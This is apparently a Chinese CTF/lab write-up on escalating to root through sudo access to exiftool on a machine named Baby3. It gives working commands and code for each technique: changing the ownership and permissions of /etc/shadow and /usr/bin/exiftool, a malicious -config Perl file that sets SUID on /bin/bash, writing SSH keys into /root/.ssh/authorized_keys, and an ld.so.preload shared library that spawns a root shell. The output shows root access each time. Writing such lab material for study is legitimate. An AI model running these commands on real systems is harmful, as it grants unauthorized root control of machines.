

# exiftool提权思路

**ExifTool** 是一个功能强大的命令行应用程序和 Perl 库，用于读取、写入和编辑各种文件格式中的元数据信息。元数据信息比如说对于一张照片，他的元数据信息就是照片创建时间，照片大小，照片名称之类的，反正就是关于这个文件的信息。

## 1. 修改文件属性

一开始群主给了一个思路是修改文件权限，那么文件权限是不是就是文件的元数据信息，然后我想是不是还能找一下文件的元数据信息来改改，查了资料，看了man手册，发现没找到。接着问了**deepseek**让他给我列出 exiftool 中所有与**文件本身**相关的标签的完整列表。找到了几个标签 **FileUserID** **FileGroupID** **FilePermissions**

以下给出了几个例子，大家可以进行扩展

- `sudo exiftool -FileUserID=welcome /etc/shadow` 修改文件的属主
- `sudo exiftool -FileGroupID=welcome /etc/shadow` 修改文件的属组
- `sudo exiftool -FilePermissions="rw-rw-rw-" /etc/shadow` 修改文件权限
- 还有一种比较快的方式是直接把**exiftool**改了。可以先将**exiftool**的属主改为当前用户，或者修改文件权限为可以写入，写入恶意代码再**sudo**执行就行了

```
welcome@Baby3:~$ ls -l /usr/bin/exiftool
-rwxr-xr-x 1 root root 305280 Oct 19 00:05 /usr/bin/exiftool
welcome@Baby3:~$ sudo exiftool -FileUserID=welcome /usr/bin/exiftool
1 image files updated
welcome@Baby3:~$ echo '/bin/bash' > /usr/bin/exiftool
welcome@Baby3:~$ sudo /usr/bin/exiftool
root@Baby3:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
root@Baby3:/home/welcome#
```

## 2.使用exiftool参数

- 使用 **-config** 引入恶意配置文件

```
welcome@Baby3:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
welcome@Baby3:~$ cat poc.pm
%Image::ExifTool::UserDefined = (
  'Image::ExifTool::Composite' => {
    Exploit => {
      Require => 'FileName',
      ValueConv => 'system("chmod +s /bin/bash")',
    },
  },
);
1;
welcome@Baby3:~$ sudo exiftool -config poc.pm a.txt
ExifTool Version Number      : 12.16
File Name                    : a.txt
Directory                    : .
File Size                    : 3 bytes
File Modification Date/Time   : 2025:10:18 12:10:25-04:00
File Access Date/Time        : 2025:10:18 12:10:30-04:00
File Inode Change Date/Time   : 2025:10:18 12:10:25-04:00
File Permissions              : rw-rw-rw-
File Type                    : TXT
File Type Extension          : txt
MIME Type                    : text/plain
MIME Encoding                 : us-ascii
Newlines                     : Unix LF
Line Count                   : 1
Word Count                   : 1
Exploit                      : 0
welcome@Baby3:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
```

```
welcome@Baby3:~$ cat poc.pm
%Image::ExifTool::UserDefined = (
  'Image::ExifTool::Composite' => {
    Exploit => {
      Require => 'FileName',
      ValueConv => 'system("chmod +s /bin/bash")',
    },
  },
);
1;
```

`sudo exiftool -config poc.pm a.txt` 后面的a.txt是随便一个文件就行

经过测试，直接 `echo 'system("chmod +s /bin/bash")' > poc.pm` 用这个也是可以的

- 使用-o

-o是将文件本身的内容写入到新的文件里面

可以输出内容到一个不存在的文件里面，这个的利用可以写公钥

```
welcome@Baby3:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC6fjNyeS+p8fmdvW6L/1ANrQU1UhoKtCrLLmkjFYpMc2MyUr17Nvg5MYRe0U/r13XNAFK82uSDC39Mkv2n5KpHRAt6HgZKJBHj63XGPMUIMG30FB2fdCQU07u5Xpo3FzZPtoGbIA31v1PMZrc
C+ukZfKEfLotJGokIMajWu2oolZglwJPMUJ5k33GGGN8wqnv+3F1PPmFR/xmMXct53h5usaVn2gIc356cSgNCoLJdBaba/tGkoZHYo1yLRbt87xLn6LVXl8oLaGx8l19j7smQJTvSiSosg6TphWlWmdC6sFOMr4U9/OSeg1RZ+2n0Vj1SnsaMNRUI8UuL01/3JicTvStt0
9QUFj/b6znrC5SVXtcY2ev6QZ79LoES+qTFEK9eDmrHM3vaHqFUYOn1EQ4fOKB4eqRQe832wEq9ehsvLmuHC1PL/L0dWvChwmtmPLVKCsx1Ec9jpu/mjCHZKRuFQMDKktzP8fX09zrQr+7m9NROSsu= root@PH' > xx
welcome@Baby3:~$ sudo exiftool xx -o /root/.ssh/authorized_keys
1 image files copied
welcome@Baby3:~$
```

- 使用-filename

这个是用来修改文件的名字的，我们不能将他改名为一个存在的文件。它也能写公钥。

```
welcome@Baby3:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC6fjNyeS+p8fmdvW6L/1ANrQU1UhoKtCrLLmkjFYpMc2MyUr17Nvg5MYRe0U/r13XNAFK82uSDC39Mkv2n5KpHRAt6HgZKJBHj63XGPMUIMG30FB2fdCQU07u5Xpo3FzZPtoGbIA31v1PMZrc
C+ukZfKEfLotJGokIMajWu2oolZglwJPMUJ5k33GGGN8wqnv+3F1PPmFR/xmMXct53h5usaVn2gIc356cSgNCoLJdBaba/tGkoZHYo1yLRbt87xLn6LVXl8oLaGx8l19j7smQJTvSiSosg6TphWlWmdC6sFOMr4U9/OSeg1RZ+2n0Vj1SnsaMNRUI8UuL01/3JicTvStt0
9QUFj/b6znrC5SVXtcY2ev6QZ79LoES+qTFEK9eDmrHM3vaHqFUYOn1EQ4fOKB4eqRQe832wEq9ehsvLmuHC1PL/L0dWvChwmtmPLVKCsx1Ec9jpu/mjCHZKRuFQMDKktzP8fX09zrQr+7m9NROSsu= root@PH' > xx
welcome@Baby3:~$ sudo exiftool -filename=/root/.ssh/authorized_keys xx
1 image files updated
welcome@Baby3:~$
```

- 使用-w（群友**凌动**的方案）

-w是将文件的元数据写入到新的文件，注意区分与-o的区别。我们可以将公钥写入到文件元数据里面，再将元数据写入/root/.ssh/authorized\_keys

```
(ph@PH)~[~/tmp]
$ ls -al
total 12
drwxrwxr-x  2 ph ph 4096 Oct 20 13:20 .
drwx----- 10 ph ph 4096 Oct 20 13:09 ..
-rw-rw-r--  1 ph ph 1038 Oct 20 13:20 .png

(ph@PH)~[~/tmp]
$ sudo exiftool -documentname='ssh-rsa AAAAB3NzaC1yc2EAAA...' .png
1 image files updated

(ph@PH)~[~/tmp]
$ sudo exiftool -s3 -documentname .png -w /root/.ssh/authorized_keys
1 output files created
```

-s3 使用第3级简化输出（只显示值，不显示标签名）

你需要准备一个名字为.png的文件，先将自己的公钥写入到documentname这个tag里面，然后再将这个tag里面的公钥写到靶机authorized\_keys 里。

**注意：**这里有一点小细节，假设源文件是 a，如果你的目标文件是 b，他会把b当作扩展名，生成一个a.b的文件

如果你的目标文件是b.txt，他会生成ab.txt 文件

所以，我们的源文件得以 . 开头

```
(ph@PH)~[~/tmp]
$ ls
a.png

(ph@PH)~[~/tmp]
$ sudo exiftool -documentname='111' a.png
1 image files updated

(ph@PH)~[~/tmp]
$ sudo exiftool -s3 -documentname a.png -w b
1 output files created

(ph@PH)~[~/tmp]
$ ls
a.b  a.png  a.png_original

(ph@PH)~[~/tmp]
$ ls
a.png

(ph@PH)~[~/tmp]
$ sudo exiftool -s3 -documentname a.png -w b.txt
1 output files created

(ph@PH)~[~/tmp]
$ ls
a.png  ab.txt
```

**扩展：**仔细测试你会发现下面的问题



```
└─(phⓈPH)-[~/tmp]
└─$ sudo exiftool -s3 -documentname .png -w /root/poc
Error creating ./root/poc
  1 files could not be read
  0 output files created
```

为什么会这样呢？如果你的目标文件没有`.`，他会把你的目标文件理解为扩展名，所以上面的`/root/poc`就是扩展名，所以他会去生成`./root/poc`这个文件  
而为什么`/root/.ssh/authorized_keys`能写进去呢？他把`ssh/authorized_keys`当作扩展名，而`/root/`当作目标文件名，这样一拼接就能生成`/root/.ssh/authorized_keys`（可能说的有点抽象）

- 如果`authorized_keys`文件已经存在，可以将`authorized_keys`先重命名为另一个文件，再把公钥写进去。还有一个方法是群主提供的，你看一下`/etc/ssh/sshd_config`，里面有这个



```
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile      .ssh/authorized_keys .ssh/authorized_keys2
```

这两行代码说明在你ssh登录一个服务器时会检查`.ssh/authorized_keys`  
`.ssh/authorized_keys2`这两个文件的公钥能不能与你的私钥对应，所以如果`.ssh/authorized_keys`已经存在了，你还可以写`.ssh/authorized_keys2`。为什么前面加了注释还能生效呢，可以参考这篇文章  
<https://blog.csdn.net/vbaspedelphi/article/details/48165737>

### 3.利用/etc/ld.so.preload文件

- 可以参考这里 <https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/write-to-root.html>
- `/etc/ld.so.preload` 是一个重要的 Linux 系统配置文件，用于预加载共享库。`/etc/ld.so.preload` 文件在大多数正常的 Linux 系统中一般不存在。因为它不存在，这就给了我们创建它的机会，使用`-o`或者`-filename`都可以
- 它的内容通常是共享库（.so文件）的完整路径列表，每行一个库路径。

```

root@Baby3:/tmp# vim pe.c
root@Baby3:/tmp# cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
root@Baby3:/tmp# exit
exit
welcome@Baby3:~$ cd /tmp
welcome@Baby3:/tmp$ vim pe.c
welcome@Baby3:/tmp$ cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
welcome@Baby3:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
welcome@Baby3:/tmp$ echo '/tmp/pe.so' > xxx
welcome@Baby3:/tmp$ sudo exiftool xxx -o /etc/ld.so.preload
1 image files copied
welcome@Baby3:/tmp$ su
root@Baby3:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
root@Baby3:/tmp# █

```



```

cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

```

```

gcc -fPIC -shared -o pe.so pe.c -nostartfiles
echo 'pe.so' > xxx
sudo exiftool -filename=/etc/ld.so.preload xxx

```

此时执行动态链接的命令即可拿到rootshell

编译共享库

将恶意共享库的路径写入一个文件

将文件命名为/etc/ld.so.preload